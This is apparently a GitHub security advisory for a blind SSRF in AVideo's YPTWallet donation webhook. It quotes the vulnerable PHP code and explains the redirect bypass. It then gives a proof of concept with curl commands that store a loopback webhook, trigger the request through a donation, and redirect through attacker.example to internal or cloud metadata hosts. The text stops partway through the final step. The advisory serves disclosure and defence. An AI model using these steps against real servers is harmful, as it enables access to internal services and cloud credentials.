wwbn/avideo
Affected
- introduced
0, last affected29.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-43879
AVideo has Blind SSRF in YPTWallet Donation Webhook via Missing isSSRFSafeURL() Check and CURLOPT_FOLLOWLOCATION Redirect Bypass
Summary
An authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. http://127.0.0.1:8080/..., http://169.254.169.254/latest/..., RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via plugin/CustomizeUser/donate.json.php, the AVideo server issues a curl POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only isValidURL() (which is a format check) and does not call the codebase's own isSSRFSafeURL() helper. Additionally, CURLOPT_FOLLOWLOCATION is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets.
Details
Sink: unvalidated curl POST in afterDonation
plugin/YPTWallet/YPTWallet.php:1043-1099
public function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters)
{
...
$donation_notification_url = self::getDonationNotificationURL($users_id);
...
if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {
...
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $donation_notification_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_NOSIGNAL, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // line 1081
...
ob_start();
curl_exec($ch);
ob_end_clean();
The gate at line 1064 is isValidURL() only. That helper is a pure format check:
objects/functions.php:4305-4315
function isValidURL($url)
{
if (empty($url) || !is_string($url)) {
return false;
}
if (preg_match("/^http.*/", $url) && filter_var($url, FILTER_VALIDATE_URL)) {
return true;
}
return false;
}
It does not reject http://127.0.0.1, http://169.254.169.254, RFC1918 ranges, or hostnames that resolve to private IPs.
The project already ships a correct SSRF guard at objects/functions.php:4366 (isSSRFSafeURL()), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here.
Storage path has no SSRF validation
plugin/YPTWallet/view/saveConfiguration.php:31-33
if(isset($_REQUEST['donation_notification_url'])){
$obj->donation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST['donation_notification_url']);
}
plugin/YPTWallet/YPTWallet.php:1015-1034
static function setDonationNotificationURL($users_id, $url)
{
$url = trim($url);
$url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url);
$url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
if (strlen($url) > 2048) { ... }
$user = new User($users_id);
return $user->addExternalOptions('donation_notification_url', $url);
}
No host/IP/scheme validation. A value like http://127.0.0.1:8080/internal contains none of & < > " ', so htmlspecialchars preserves it verbatim.
Trigger
plugin/CustomizeUser/donate.json.php:88,108
if (YPTWallet::transferBalance(User::getId(), $video->getUsers_id(), $value, ...)) {
...
AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj->extraParameters);
}
...
if (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) {
...
AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj->extraParameters);
}
Donor must have wallet balance; captcha is required unless disableCaptchaOnWalletDirectTransferDonation is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer.
FOLLOWLOCATION bypass
Even if isSSRFSafeURL() were added to the upfront check on the stored URL, CURLOPT_FOLLOWLOCATION=true with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. http://169.254.169.254/latest/... or any RFC1918 endpoint.
What escapes to the internal request
The POST body is http_build_query($data) where $data contains from_users_id, from_users_name, currency, how_much_human, how_much, message (attacker-controlled from the donate.json.php request), videos_id, users_id, time, and extraParameters. Headers include X-Webhook-Signature: sha256=... and X-Webhook-Timestamp. The response is discarded (ob_start / ob_end_clean, return value ignored), so this is a blind SSRF — exfiltration must use out-of-band channels.
PoC
Prerequisites: two authenticated accounts on the target — Alice (attacker/recipient of donation) and Bob (attacker's second account with a small wallet balance). Captcha is assumed enabled (default).
Step 1 — Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint:
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
--data-urlencode 'donation_notification_url=http://127.0.0.1:8080/internal/admin/action' \
--data-urlencode 'CryptoWallet='
Response body includes the stored donation_notification_url plus Alice's webhook_secret (the signature is computed with Alice's own secret, so there is no cross-user signature leak).
Step 2 — Start a listener on the target host to observe the blind request:
# On the target server
nc -lvp 8080
Step 3 — Bob donates the minimum amount to Alice (captcha solved):
curl -sS -b cookies_bob.txt -X POST 'https://target/plugin/CustomizeUser/donate.json.php' \
--data 'value=0.01&users_id=<alice_user_id>&message=x&captcha=<solved_value>'
donate.json.php:108 calls AVideoPlugin::afterDonation(...).
Step 4 — Observe the netcat listener: the AVideo server issues:
POST /internal/admin/action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: <AVideo UA>
Content-Type: application/x-www-form-urlencoded
X-Webhook-Signature: sha256=<hmac>
X-Webhook-Timestamp: <epoch>
Content-Length: ...
from_users_id=<bob>&from_users_name=...¤cy=...&how_much_human=...&how_much=0.01&message=x&videos_id=0&users_id=<alice>&time=...&extraParameters[...]=...
Confirmed: the vulnerable server reaches the loopback port on behalf of the attacker.
Step 5 — FOLLOWLOCATION bypass. Alice registers an external URL she controls:
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
--data-urlencode 'donation_notification_url=https://attacker.example/r' \
--data-urlencode 'CryptoWallet='Medium Basis: The source's own band: MODERATE
0, last affected 29.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0